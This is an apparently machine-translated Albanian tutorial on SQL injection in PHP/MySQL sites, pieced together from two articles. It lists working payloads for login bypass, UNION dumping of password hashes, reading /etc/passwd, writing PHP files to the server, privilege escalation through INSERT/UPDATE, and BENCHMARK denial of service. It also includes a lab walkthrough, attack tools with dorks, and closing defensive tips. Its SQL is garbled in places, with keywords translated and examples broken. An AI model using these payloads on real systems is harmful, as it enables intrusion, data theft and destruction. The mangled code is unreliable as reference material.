Sql injeksion. Cfare eshte? Si të zbuloni versionet e MySQL

Pakujdesia dhe pavëmendja janë dy arsye për të shkruar kodin që është i prekshëm nga injeksionet SQL. Arsyeja e tretë - injoranca, duhet të inkurajojë programuesin që të thellojë njohuritë e tij apo edhe të ndryshojë profesionin e tij.

injeksion SQL ( injeksion SQL) - cenueshmëria që ndodh për shkak të verifikimit dhe përpunimit të pamjaftueshëm të të dhënave, të cilat transmetohen nga përdoruesi dhe ju lejon të modifikoni dhe ekzekutoni pyetje të papritura nga kodi i programit SQL.

Injeksioni SQL është një e metë e përhapur e sigurisë në internet që shfrytëzohet lehtësisht pa programe speciale dhe nuk kërkon njohuri të gjera teknike. Shfrytëzimi i kësaj dobësie hap derën për mundësi të mëdha si:

  • vjedhja e të dhënave - 80%;
  • refuzimi i shërbimit - 10 për qind;
  • zëvendësimi ose shkatërrimi i të dhënave - 2-3%;
  • rastet dhe synimet e tjera.

Ekzistojnë gjithashtu programe të ndryshme për testimin e sigurisë së faqes në internet për të gjitha llojet e injeksioneve JS dhe SQL.

Shpjegim i detajuar

Në këtë artikull do të përpiqem të shpjegoj rreziqet kryesore që lindin gjatë ndërveprimit me bazën e të dhënave MySQL. Për qartësi, unë do të jap një shembull të një strukture të thjeshtë të bazës së të dhënave, e cila është tipike për shumicën e projekteve:

KRIJON "lajme" të bazës së të dhënave; PËRDORNI `lajmet`; # # tabela e lajmeve # KRIJO TABELË `lajme` (`id` int(11) NOT NULL rritje_automatike, `title` varchar(50) e parazgjedhur NULL, "datë" e paracaktuar e datës NULL, teksti "tekst", ÇELËSI PRIMAR ("id" )) TYPE=MyISAM; # # shtoni disa të dhëna # INSERT `lajme` SET `id`="1", `title`="lajmi i parë", `date`="2005-06-25 16:50:20", `text`=" teksti i lajmit"; INSERT `lajmet` SET `id`="2", `title`="lajmi i dytë", `date`="2005-06-24 12:12:33", `text`="lajmi testues"; # # tabela e përdoruesve # CREATE TABLE `përdoruesit` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL DEFAULT "0", ÇELËSI PRIMAR (`id`)) TYPE=MyISAM; # # shtoni disa përdorues, njëri me të drejta administratori, tjetri i thjeshtë # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 "; INSERT `përdoruesit` SET `id`="2", `login`="përdoruesi", `fjalëkalimi`="1111", `admin`="0";

Ne shohim që kërkesa është krijuar në varësi të vlerës së $_GET["id"]. Për të kontrolluar për një dobësi, mjafton ta ndryshoni atë në një vlerë që mund të shkaktojë një gabim në ekzekutimin e pyetjes SQL.

Sigurisht, mund të mos ketë ndonjë dalje gabimi, por kjo nuk do të thotë se nuk ka asnjë gabim, si rezultat

“Ju keni një gabim në sintaksën tuaj SQL; kontrolloni manualin që korrespondon me versionin e serverit tuaj MySQL për sintaksën e duhur për t'u përdorur pranë """ në rreshtin 1"

ose rezultat

http://test.com/index.php?id=2-1

nëse ka një cenueshmëri, ai duhet të prodhojë një rezultat të ngjashëm me

http://test.com/index.php?id=1.

Dobësi të ngjashme ju lejon të modifikoni kërkesën në pjesën e parametrit WHERE. Gjëja e parë që një sulmues do të bëjë kur zbulohet një dobësi e tillë është të ekzaminojë se sa fusha janë përdorur në kërkesë. Për ta bërë këtë, një ID qëllimisht e pasaktë vendoset për të përjashtuar daljen e informacionit real dhe kombinohet me një kërkesë me të njëjtin numër fushash boshe.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

numri i "nuls" duhet të korrespondojë me numrin e fushave që përdoren në kërkesë.

Nëse pyetësori hedh një gabim, shtohet një vlerë tjetër boshe derisa gabimi të zhduket dhe të kthehet një rezultat me të dhëna boshe. Më pas, fushat e kombinuara zëvendësohen me vlera që mund të vëzhgohen vizualisht në faqe.

Për shembull:

http://test.com/index.php?id=-1+UNION+SELECT+null

Tani në faqen ku duhej të shfaqej titulli i lajmeve, do të shfaqet qwerty.

Si të zbuloni versionet e MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Si të rikuperoni hyrjen e përdoruesit aktual të bazës së të dhënave?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Cili është emri i bazës së të dhënave që përdoret?

http://test.com/index.php?id=-1+UNION+SELECT+null,BAZA E TË DHËNAVE(),null,null

Si të merrni të dhëna të tjera nga tabela të tjera?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Kjo është një mënyrë e thjeshtë për të gjetur fjalëkalimin ose hash-in e fjalëkalimit të administratorit. Nëse përdoruesi aktual ka të drejta aksesi në bazën e të dhënave "mysql", sulmuesi do të marrë hash-in e fjalëkalimit të administratorit pa problemin më të vogël.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Tani zgjedhja e tij është vetëm çështje kohe.

Kërko

Kërkimi është një nga vendet më të cenueshme, pasi një numër i madh i parametrave të pyetjeve transmetohen njëkohësisht. Një shembull i një pyetjeje të thjeshtë që kërkon me fjalë kyçe:

ZGJIDH * NGA `lajmet` WHERE `title` LIKE "%$search%" OSE `text` LIKE "%$search%"

$search është fjala që dërgohet nga formulari. Një sulmues mund të kalojë $search="# në variablin, tani kërkesa do të duket kështu:

SELECT * NGA `news` WHERE `title` LIKE "%"#%" OSE `tekst` LIKE "%"#%";

Prandaj, në vend të rezultateve të kërkimit për fjalën kyçe, do të shfaqen të gjitha të dhënat. Kjo ju lejon gjithashtu të përdorni veçorinë e grumbullimit të pyetjeve të përshkruara më sipër.

Duke përdorur parametrin ORDER

Shpesh mund të shihni se kur futni parametrat e kërkimit ose kur shfaqni informacione, ato lejojnë përdoruesin të renditë të dhënat sipas fushave të caktuara. Do të them menjëherë se përdorimi i kësaj dobësie nuk është shumë i rrezikshëm, pasi do të shkaktojë një gabim kur përpiqeni të kombinoni kërkesat, por në kombinim me dobësitë në fusha të tjera, ekziston rreziku i komentimit të këtij parametri.

http://test.com/index.php?sort=emri

parametri ORDER formohet në varësi të ndryshores $sort

Kërkesa e mëposhtme do të krijohet:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OSE `tekst` LIKE "%"/*%" ORDER BY */

duke komentuar kështu një nga kushtet dhe parametrin ORDER

Tani mund ta kombinoni përsëri pyetjen duke caktuar $sort=*/ UNION SELECT...

Si një opsion për të shfrytëzuar cenueshmërinë e këtij parametri:

ZGJIDH * NGA `përdoruesit` RENDIT ME GJATHËSI (fjalëkalim);

Do t'ju lejojë të renditni përdoruesit në varësi të gjatësisë së fjalëkalimit, me kusht që të ruhet në një formë "të pastër".

Autorizimi

Le të përpiqemi tani të shqyrtojmë opsionet për injeksionet SQL që ndodhin gjatë autorizimit të përdoruesit. Në mënyrë tipike, kërkesa që kontrollon korrektësinë e të dhënave të autorizimit duket si kjo:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

ku $login dhe $password janë variabla që kalohen nga formulari. Një pyetje e tillë kthen të dhëna për përdoruesin nëse është i suksesshëm, dhe një rezultat bosh nëse nuk është i suksesshëm. Prandaj, për të kaluar autorizimin, një sulmues duhet vetëm të modifikojë kërkesën në mënyrë që të kthejë një rezultat jo zero. Përcaktohet një hyrje që korrespondon me një përdorues të vërtetë, dhe në vend të një fjalëkalimi, " OSE "1"="1" ose ndonjë kusht të vërtetë (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 NË (0,1,2), 2 MES 1 DHE 3). Prandaj, kërkesa do të gjenerohet si më poshtë:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OSE "1"="1";

e cila do të kthejë rezultatin, dhe si rezultat, do të çojë në autorizim të paautorizuar. Po nëse fjalëkalimet në tabelë janë hash? Pastaj kontrolli i fjalëkalimit thjesht "çaktivizohet" duke komentuar gjithçka që vjen pas "identifikimit". Në formë, në vend të hyrjes, caktohet hyrja e përdoruesit të vërtetë dhe "# duke komentuar kështu kontrollin e fjalëkalimit.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

si opsion "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OSE `admin`="1"#" AND `password`="12345"

Një gabim i madh është të kontrolloni fjalëkalimin si ky:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

pasi në këtë rast fjalëkalimi % është i përshtatshëm për çdo hyrje

INSERT DHE PËRDITËSO

Megjithatë, nuk janë vetëm SELECT që janë një pikë e dobët në SQL. INSERT dhe UPDATE nuk mund të jenë më pak të prekshme. Le të themi se faqja ka aftësinë për të regjistruar përdoruesit. Pyetje që shton një përdorues të ri:

Një cenueshmëri në njërën nga fushat lejon që kërkesa të modifikohet me të dhënat e nevojshme. Në fushën e hyrjes ne shtojmë përdorues", "fjalëkalim", 1)# duke shtuar kështu një përdorues me të drejta administratori.

INSERT `users` SET `login`="user", `password`="fjalëkalim", `admin`="0";

Le të supozojmë se fusha `admin` ndodhet përpara fushës `login`, kështu që truku i zëvendësimit të të dhënave që vijnë pas fushës `login` nuk funksionon. Le të kujtojmë se sintaksa e komandës INSERT ju lejon të shtoni jo vetëm një rresht, por disa. Një shembull i një cenueshmërie në fushën e identifikimit: $login= user", "password"), (1, "hacker", "password")#

INSERT NE SET "përdoruesit" ("admin", `login`, "fjalëkalim") VLERA (0, "përdorues", "fjalëkalim"), (1, "haker", "fjalëkalim")#", "fjalëkalim") ;

Në këtë mënyrë krijohen 2 hyrje, njëra me të drejtat e një përdoruesi të thjeshtë, tjetra me të drejtat e dëshiruara të administratorit.

Një situatë e ngjashme me UPDATE

Shtimi i fushave shtesë për të ndryshuar:

$login=", `fjalëkalim`="", `admin`="1

Pastaj një kërkesë e ngjashme

PËRDITËSONI SET `login`="çajinik" të `përdoruesve` WHERE `id`=2;

Ndryshuar si më poshtë:

PËRDITËSONI SET `login`="", `fjalëkalim`="", `admin`="1" WHERE `id`=2;

Çfarë do të ndodhë? Përdoruesi me ID 2 do të ndryshojë hyrjen dhe fjalëkalimin në vlera boshe dhe do të marrë të drejtat e administratorit. Ose në rast

$login=", `fjalëkalimi`="" WHERE `id` =1#

Hyrja dhe fjalëkalimi i administratorit do të jenë bosh.

FSHIJE

Gjithçka është e thjeshtë këtu, nuk do të jeni në gjendje të merrni ose ndryshoni asnjë të dhënë, por jeni gjithmonë të mirëpritur të fshini të dhëna të panevojshme.

$id=1 OSE 1=1

FSHI NGA `lajmet` KU `id`="1" OSE 1=1; // fshin të gjitha hyrjet në tabelë.

Në vend të 1=1 mund të ketë çdo kusht të vërtetë të përmendur më sipër. Parametri LIMIT mund të ruhet, i cili do të kufizojë numrin e rreshtave të fshirë, por jo gjithmonë, ai thjesht mund të komentohet.

FSHI NGA `lajmet` KU `id`="1" OSE 1=1# LIMIT 1;

Puna me skedarë përmes injektimit SQL

Dyshoj seriozisht se kjo mund të ndodhë kudo, por për të qenë të drejtë, metoda të tilla duhet të përshkruhen gjithashtu. Kur aktivizohen privilegjet e skedarit, mund të përdorni komandat LOAD_FILE dhe OUTFILE.

Rreziku i tyre mund të gjykohet nga pyetjet e mëposhtme:

SELECT * FROM `news` WHERE `id`=-1 bashkim zgjidhni null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Por të gjitha problemet nuk mbarojnë me kaq.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` në skedarin "/home/test/www/test.php";

Kështu shkruajmë një skedar që përmban kodin PHP. Vërtetë, përveç kodit, do të ketë disa hyrje të tjera null në të, por kjo në asnjë mënyrë nuk do të ndikojë në performancën e kodit PHP. Sidoqoftë, ekzistojnë disa kushte për shkak të të cilave këto metoda do të funksionojnë:

  • Privilegji FILE është aktivizuar për përdoruesin aktual të bazës së të dhënave;
  • Të drejtat për të lexuar ose shkruar këta skedarë janë për përdoruesin nën të cilin funksionon serveri MySQL; shtegu absolut për në skedar;
  • një kusht më pak i rëndësishëm është që madhësia e skedarit të jetë më e vogël se max_allowed_packet, por meqenëse në MySQL 3.23 madhësia më e madhe e paketës mund të jetë 16 MB, dhe në 4.0.1 e më shumë, madhësia e paketës kufizohet vetëm nga sasia e memories së disponueshme, deri në një maksimum teorik prej 2 GB, kjo gjendje zakonisht është gjithmonë e disponueshme.

Citate magjike

Thomat magjike e bëjnë të pamundur përdorimin e injeksioneve SQL në variablat e vargut, pasi ato automatikisht i shmangen të gjitha " dhe " që vijnë me $_GET dhe $_POST. Por kjo nuk vlen për përdorimin e dobësive në parametra të plotë ose të pjesshëm, edhe pse me përjashtim që nuk do të jetë e mundur të përdoret ". Në këtë rast, funksioni char ndihmon.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS përmes injektimit SQL.

Pothuajse harrova të them, dhe ekspertët e SQL do të konfirmojnë, se operacioni UNION është i mundur vetëm në MySQL >=4.0.0. Njerëzit që kanë projekte në versionet e mëparshme morën një psherëtimë të lehtësuar :) Por jo gjithçka është aq e sigurt sa duket në shikim të parë. Nganjëherë është e vështirë të ndiqet logjika e sulmuesit. "Nëse nuk mund të hakoj, të paktën do të dështoj," do të mendojë hakeri, duke shtypur funksionin BENCHMARK për një kërkesë shembull

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(TANI()));

M'u deshën nga 12 deri në 15 sekonda. Shtimi i një zero - 174 sekonda. Unë thjesht nuk mund ta ngrija dorën për të bërë më shumë. Sigurisht, në serverë të fuqishëm gjëra të tilla do të bëhen shumë më shpejt, por...BENCHMARK ju lejon të investoni veten një nga një. Si kjo:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(TANI())));

Ose edhe si kjo

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(TANI()))));

Dhe numri i zerove kufizohet vetëm nga "mirësia" e atij që i shtyp ato.

Unë mendoj se edhe një makinë shumë e fuqishme nuk do të jetë në gjendje të gëlltisë lehtësisht kërkesa të tilla.

Fundi

Kjo eshte e gjitha. Në këtë artikull, u përpoqa të mbuloj sa më shumë që të jetë e mundur llojet e dobësive që bëjnë programuesit kur krijojnë programe duke përdorur bazat e të dhënave MySQL. Megjithatë, jam më se i sigurt se kjo nuk është një listë e plotë.

Është e rëndësishme të mbani mend rregullat kundër injeksioneve SQL

  • Mos i besoni ASNJË të dhënave që vijnë nga përdoruesi. Nuk po flasim vetëm për të dhënat që transferohen në grupet $_GET dhe $_POST. Mos harroni për $_COOKIE dhe pjesë të tjera të titujve HTTP. Ju duhet të mbani mend se ato janë të lehta për t'u zëvendësuar.
  • Ju nuk duhet të mbështeteni në opsionin "citate magjike" të PHP, i cili ndoshta më shumë pengon sesa ndihmon. Të gjitha të dhënat që transferohen në bazën e të dhënave duhet të përmblidhen sipas llojit me fushat e bazës së të dhënave. ($id=(int)$_GET["id"]) ose të mbrojtur nga funksionet mysql_real_escape_string ose mysql_real_escape_string.
  • mysql_real_escape_string nuk i shpëton % dhe _, kështu që nuk duhet të përdoret së bashku me LIKE.
  • Ju gjithashtu nuk duhet të mbështeteni shumë në një mod_rewrite të shkruar saktë. Këto janë vetëm mënyra për të krijuar URL "të përshtatshme", por sigurisht jo një mënyrë për t'u mbrojtur nga injeksionet SQL.
  • Çaktivizo raportimin e gabimeve.
  • Mos i ndihmoni vizitorët e këqij. Edhe nëse gabimi identifikohet, mungesa e informacionit për të do të pengojë seriozisht zbatimin e tij. Mos harroni ndryshimin midis fazës së zhvillimit dhe draftit të punës. Dalje gabimi dhe informacione të tjera të hollësishme - aleati juaj në fazën e zhvillimit, dhe aleat i sulmuesit në versionin e punës. Ju gjithashtu nuk duhet t'i fshehni ato duke komentuar në kodin HTML; për çdo 1000 vizitorë do të ketë 1 që do të gjejë akoma gjëra të tilla.
  • Trajtoni gabimet.
  • Shkruani pyetjet e përpunimit të SQL në atë mënyrë që informacioni rreth tyre të ruhet në disa regjistra ose të dërgohet me postë.
  • Mos ruani të dhënat e aksesit në bazën e të dhënave në skedarë që nuk përpunohen nga PHP si kod.
  • Nuk mendoj se ia kam zbuluar askujt Amerikën, por nga përvoja ime mund të them se kjo praktikë është mjaft e zakonshme. Zakonisht ky është një skedar me shtesën *.inc
  • Mos krijoni një bazë të dhënash "super përdorues".
  • Jepni vetëm të drejtat e nevojshme për të kryer detyra specifike.
  • Në kërkim, ia vlen të kufizoni numrin minimal dhe maksimal të karaktereve, të cilët janë parametrat e pyetjes.
  • Për një përdorues të ndershëm, nga 3 deri në 60-70 karaktere mjaftojnë për të kënaqur interesat e tyre të kërkimit, dhe në të njëjtën kohë ju parandaloni situatat kur pyetja e kërkimit do të jetë vëllimi i "Luftës dhe Paqes".
  • Kontrolloni gjithmonë numrin e regjistrimeve të kthyera pas një pyetjeje

Pothuajse 90% e faqeve të shkruara në PHP Ekziston një gabim i tillë logjik, kjo mund të vërehet veçanërisht kur bëhet një kërkesë në bazë të ID-së së marrë nga përdoruesi. Nëse i jepni manualisht skriptit një ID joekzistente, do të shohim rezultate mjaft interesante nga puna e disa skripteve , në vend që të kthejë 404, programi në rastin më të mirë nuk do të bëjë asgjë dhe do të shfaqet në një faqe të zbrazët.

SQL e sigurt për ju.

Numri i faqeve dhe faqeve në internet po rritet vazhdimisht. Të gjithë ata që munden po marrin përsipër zhvillimin. Dhe programuesit fillestarë të uebit shumë shpesh përdorin kod të pasigurt dhe të vjetër. Dhe kjo krijon shumë boshllëqe për sulmuesit dhe hakerat. E cila është ajo që ata përdorin. Një nga dobësitë më klasike është injektimi SQL.

Pak teori

Shumë njerëz e dinë se shumica e faqeve dhe shërbimeve në internet përdorin bazat e të dhënave SQL për t'i ruajtur ato. Kjo është një gjuhë e strukturuar e pyetjeve që ju lejon të menaxhoni dhe administroni depot e të dhënave. Ka shumë versione të ndryshme të sistemeve të menaxhimit të bazës së të dhënave - Oracle, MySQL, Postgre. Pavarësisht nga emri dhe lloji, ata përdorin pyetjet e të dhënave në të njëjtën mënyrë. Këtu qëndron cenueshmëria e mundshme. Nëse zhvilluesi nuk ishte në gjendje të përpunonte saktë dhe në mënyrë të sigurt kërkesën, atëherë një sulmues mund të përfitojë nga kjo dhe të përdorë taktika të veçanta për të fituar akses në bazën e të dhënave, dhe prej andej, të kontrollojë të gjithë sitin.

Për të shmangur situata të tilla, duhet të optimizoni siç duhet kodin dhe të monitoroni me kujdes se cila kërkesë përpunohet në çfarë mënyre.

Kontrollimi për injeksione SQL

Për të përcaktuar praninë e dobësive në rrjet, ka shumë sisteme softuerësh të automatizuar të gatshëm. Por ju mund të kryeni një kontroll të thjeshtë me dorë. Për ta bërë këtë, duhet të shkoni në një nga faqet që po kërkoni dhe të përpiqeni të shkaktoni një gabim të bazës së të dhënave në shiritin e adresave. Për shembull, një skenar në një faqe interneti mund të mos përpunojë kërkesat dhe mund të mos i ndërpresë ato.

Për shembull, ekziston një specific_site/index.php?id=25

Mënyra më e lehtë është të vendosni një kuotë pas 25 dhe të dërgoni një kërkesë. Nëse nuk ndodh asnjë gabim, atëherë ose të gjitha kërkesat filtrohen në sit dhe përpunohen siç duhet, ose dalja e tyre çaktivizohet në cilësimet. Nëse faqja ringarkohet me probleme, do të thotë se ka një cenueshmëri për injektimin SQL.

Pasi të zbulohet, mund të përpiqeni ta heqni qafe atë.

Për të zbatuar këtë dobësi ju duhet të dini pak për një prej tyre është UNION. Ai kombinon rezultate të shumta të pyetjeve në një. Në këtë mënyrë ju mund të llogarisni numrin e fushave në tabelë. Një shembull i kërkesës së parë duket si ky:

  • some_site/index.php?id=25 ZGJIDHJE UNION 1.

Në shumicën e rasteve, një hyrje e tillë duhet të gjenerojë një gabim. Kjo do të thotë se numri i fushave nuk është i barabartë me 1. Kështu, duke zgjedhur opsionet nga 1 e më shumë, mund të vendosni numrin e saktë të tyre:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

Kjo do të thotë, kur gabimi ndalon së shfaquri, kjo do të thotë se numri i fushave është i saktë.

Ekziston edhe një zgjidhje alternative për këtë problem. Për shembull, kur numri i fushave është i madh - 30, 60 ose 100. Kjo është komanda GROUP BY. Ai grupon rezultatet e pyetjeve sipas disa karakteristikave, për shembull id:

  • some_site/index.php?id=25 GRUPI NGA 5.

Nëse nuk janë marrë gabime, do të thotë se ka më shumë se 5 fusha. Kështu, duke zëvendësuar opsionet nga një gamë mjaft e gjerë, mund të llogarisni se sa janë në të vërtetë.

Ky shembull i injektimit SQL është për fillestarët që duan të provojnë dorën e tyre në testimin e faqes së tyre të internetit. Është e rëndësishme të mbani mend se ekziston një nen i Kodit Penal për akses të paautorizuar në pronën e dikujt tjetër.

Llojet kryesore të injeksioneve

Ekzistojnë disa opsione për zbatimin e dobësive përmes injektimit SQL. Më poshtë janë metodat më të njohura:

    UNION injeksion. Një shembull i thjeshtë i këtij lloji është diskutuar tashmë më lart. Zbatohet për shkak të një gabimi në kontrollimin e të dhënave hyrëse, të cilat nuk filtrohen në asnjë mënyrë.

    Injeksion SQL i bazuar në gabime. Siç sugjeron emri, ky lloj gjithashtu shfrytëzon gabimet duke dërguar shprehje që janë sintaksisht të pasakta. Më pas kapen titujt e përgjigjeve, duke analizuar të cilat më pas mund të përdoren për të kryer një injeksion SQL.

    Injeksion i grumbulluar. Kjo dobësi përcaktohet nga ekzekutimi i kërkesave të njëpasnjëshme. Karakterizohet duke shtuar një ";" në fund. Kjo qasje më së shpeshti zbatohet për të hyrë në zbatimin e të dhënave të leximit dhe shkrimit, ose për të kontrolluar funksionet e sistemit operativ nëse privilegjet e lejojnë atë.

Sisteme softuerike për kërkimin e dobësive SQL

Të disponueshme për kryerjen e injeksioneve SQL, programet zakonisht kanë dy komponentë - skanimin e një siti për dobësi të mundshme dhe përdorimin e tyre për të fituar akses në të dhëna. Ekzistojnë shërbime të tilla për pothuajse të gjitha platformat e njohura. Funksionaliteti i tyre lehtëson shumë kontrollimin e një siti për mundësinë e hakimit me injeksion SQL.

Sqlmap

Një skaner shumë i fuqishëm që funksionon me shumicën e DBMS-ve të njohura. Mbështet teknika të ndryshme të injektimit SQL. Ka aftësinë të njohë automatikisht llojin e hash-it të fjalëkalimit dhe ta thyejë atë duke përdorur një fjalor. Ekziston edhe funksionaliteti për shkarkimin dhe ngarkimin e skedarëve nga serveri.

Instalimi në një mjedis Linux kryhet duke përdorur komandat:

  • klon git https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

Për Windows ekziston edhe një linjë komande dhe një opsion i ndërfaqes grafike të përdoruesit.

Injeksion jSQL

jSQL Injection është një mjet ndër-platformë për testimin e shfrytëzimit të dobësive SQL. Shkruar në Java, kështu që JRE duhet të instalohet në sistem. I aftë për të përpunuar kërkesat për kokë dhe kuki. Ka një ndërfaqe grafike të përshtatshme.

Instalimi i kësaj pakete softuerike vazhdon si më poshtë:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| kokë-n 1`

Nisni duke përdorur komandën java -jar ./jsql-injection-v*.jar

Për të filluar kontrollimin e një siti për dobësitë SQL, duhet të vendosni adresën e tij në fushën e sipërme. Ato janë të veçanta për GET dhe për POST. Nëse rezultati është pozitiv, një listë e tabelave të disponueshme do të shfaqet në dritaren e majtë. Ju mund t'i shikoni ato dhe të gjeni disa informacione konfidenciale.

Për të kërkuar panele administrative, përdorni skedën "Faqja e administratorit". Kërkon automatikisht për të dhënat e sistemit të përdoruesve të privilegjuar duke përdorur shabllone speciale. Prej tyre mund të merrni vetëm një hash fjalëkalimi. Por është gjithashtu i disponueshëm në mjetet e programit.

Pas gjetjes së të gjitha dobësive dhe injektimit të kërkesave të nevojshme, programi do t'ju lejojë të ngarkoni skedarin tuaj në server ose, anasjelltas, ta shkarkoni nga atje.

SQLi Dumper v.7

Ky program është një mjet i lehtë për t'u përdorur për gjetjen dhe zbatimin e dobësive në SQL. OKB-ja e prodhon këtë mbi bazën e të ashtuquajturave dork. Listat e tyre mund të gjenden në internet. Fjalë kyçe të injektimit SQL janë modele të veçanta të pyetjeve të kërkimit. Me ndihmën e tyre ju mund t'i gjeni potencialisht përmes çdo motori kërkimi.

Mjetet e trajnimit

Faqja itecgames.com ka një grup të veçantë mjetesh që ju lejon të përdorni shembuj për të treguar se si të bëni një injeksion SQL dhe ta provoni atë. Për ta përdorur atë, duhet ta shkarkoni dhe instaloni. Arkivi përmban një grup skedarësh që përfaqësojnë strukturën e faqes. Për ta instaluar atë, do t'ju duhet një grup serverësh në internet Apache, MySQL dhe PHP të disponueshëm në sistem.

Pas shpaketimit të arkivit në dosjen e serverit në internet, duhet të shkoni në adresën e futur gjatë instalimit të këtij produkti softuer. Faqja e regjistrimit të përdoruesit do të hapet. Këtu duhet të futni të dhënat tuaja dhe të klikoni "Krijo". Pas transferimit të përdoruesit në një dritare të re, sistemi do të ofrojë të zgjedhë një nga opsionet e testimit. Midis tyre ka si injeksionet e përshkruara ashtu edhe shumë detyra të tjera testuese.

Vlen të shikohet një shembull i një injeksioni SQL si GET/Search. Këtu ju duhet ta zgjidhni atë dhe të klikoni "Hack". Përdoruesit do t'i paraqitet një shirit kërkimi dhe një imitim i një faqeje të caktuar me filma. Ju mund të kaloni nëpër filma për një kohë të gjatë. Por ka vetëm 10. Për shembull, mund të provoni të hyni në Iron Man. Filmi do të shfaqet, që do të thotë se faqja po funksionon dhe ka tabela në të. Tani duhet të kontrollojmë nëse skripti filtron karaktere të veçanta, në veçanti kuotat. Për ta bërë këtë, duhet të shtoni "" në shiritin e adresave. Për më tepër, kjo duhet të bëhet pas emrit të filmit. Faqja do të shfaqë gabimin Gabim: Keni një gabim në sintaksën tuaj SQL; kontrolloni manualin që korrespondon në versionin e serverit tuaj MySQL për sintaksën e duhur për t'u përdorur pranë "%" në rreshtin 1, që tregon se karakteret janë ende duke u përpunuar gabimisht. Kjo do të thotë që ju mund të përpiqeni të zëvendësoni kërkesën tuaj. Por së pari duhet të llogaritni numrin e fushave. Për ta bërë këtë, përdorni porosinë sipas, e cila futet pas kuotës: http://testsites.com/sqli_1.php?title=Iron+Man" renditja me 2 --&action=search.

Kjo komandë thjesht do të shfaqë informacione për filmin, domethënë, numri i fushave është më i madh se 2. Viza e dyfishtë i tregon serverit që kërkesat e tjera duhet të hidhen poshtë. Tani ju duhet të përsërisni, duke zëvendësuar vlera gjithnjë e më të mëdha derisa të shfaqet një gabim. Si rezultat, rezulton se do të ketë 7 fusha.

Tani është koha për të marrë diçka të dobishme nga baza e të dhënave. Ju do të duhet ta modifikoni pak kërkesën në shiritin e adresave, duke e sjellë atë në këtë formë: http://testsites.com/sqli_1.php?title=Iron+Man" union zgjidhni 1, database(),user(),4 ,password,6, 7 nga përdoruesit --&action=search. Si rezultat i ekzekutimit të tij do të shfaqen linja me hash fjalëkalimi, të cilat mund të konvertohen lehtësisht në karaktere të kuptueshme duke përdorur një nga shërbimet online. Dhe me pak magji dhe duke zgjedhur emrin e fushës së hyrjes, mund të fitoni akses në të dhënat e dikujt tjetër, për shembull, administratori i faqes.

Produkti ka një ton të llojeve të ndryshme të injektimit për t'u praktikuar. Vlen të kujtohet se përdorimi i këtyre aftësive në internet ose në sajte reale mund të dënohet penalisht.

Injeksione dhe PHP

Si rregull, është kodi PHP ai që është përgjegjës për përpunimin e nevojshëm të kërkesave që vijnë nga përdoruesi. Prandaj, është në këtë nivel që ju duhet të ndërtoni mbrojtje kundër injeksioneve SQL në PHP.

  • Të dhënat duhet të përpunohen gjithmonë përpara se të ruhen në bazën e të dhënave. Kjo mund të arrihet ose duke përdorur shprehjet ekzistuese ose duke organizuar pyetje me dorë. Këtu, gjithashtu, vlen të merret parasysh që vlerat numerike konvertohen në llojin që nevojitet;
  • Shmangni shfaqjen e strukturave të ndryshme të kontrollit në kërkesë.

Tani pak për rregullat për hartimin e pyetjeve në MySQL për t'u mbrojtur nga injeksionet SQL.

Kur shkruani ndonjë shprehje të pyetjes, është e rëndësishme të ndani të dhënat nga fjalët kyçe SQL.

  • SELECT * NGA tabela WHERE emri = Zerg.

Në këtë dizajn, sistemi mund të mendojë se Zerg është emri i një fushe, kështu që duhet të mbyllet në thonjëza.

  • SELECT * NGA tabela WHERE emri = "Zerg".

Sidoqoftë, ka situata ku vetë vlera përmban thonjëza.

  • SELECT * NGA tabela WHERE emri = "Bregu i Fildishtë".

Këtu vetëm një pjesë e cat-d do të përpunohet, dhe pjesa tjetër mund të perceptohet si një komandë, e cila, natyrisht, nuk ekziston. Prandaj do të ndodhë një gabim. Kjo do të thotë se këto lloj të dhënash duhet të kontrollohen. Për ta bërë këtë, përdorni vijën e prapme - \.

  • SELECT * NGA tabela WHERE emri = "Bregu i Fildishtë".

Të gjitha sa më sipër zbatohen për vargjet. Nëse veprimi ndodh me një numër, atëherë nuk ka nevojë për thonjëza ose prerje. Megjithatë, ato duhet të detyrohen të konvertohen në llojin e kërkuar të të dhënave.

Ekziston një rekomandim që emri i fushës duhet të mbyllet në një kuotë të pasme. Ky simbol ndodhet në anën e majtë të tastierës, së bashku me shenjën "~". Kjo është e nevojshme në mënyrë që MySQL të mund të dallojë me saktësi emrin e fushës nga fjala kyçe e saj.

Puna dinamike me të dhënat

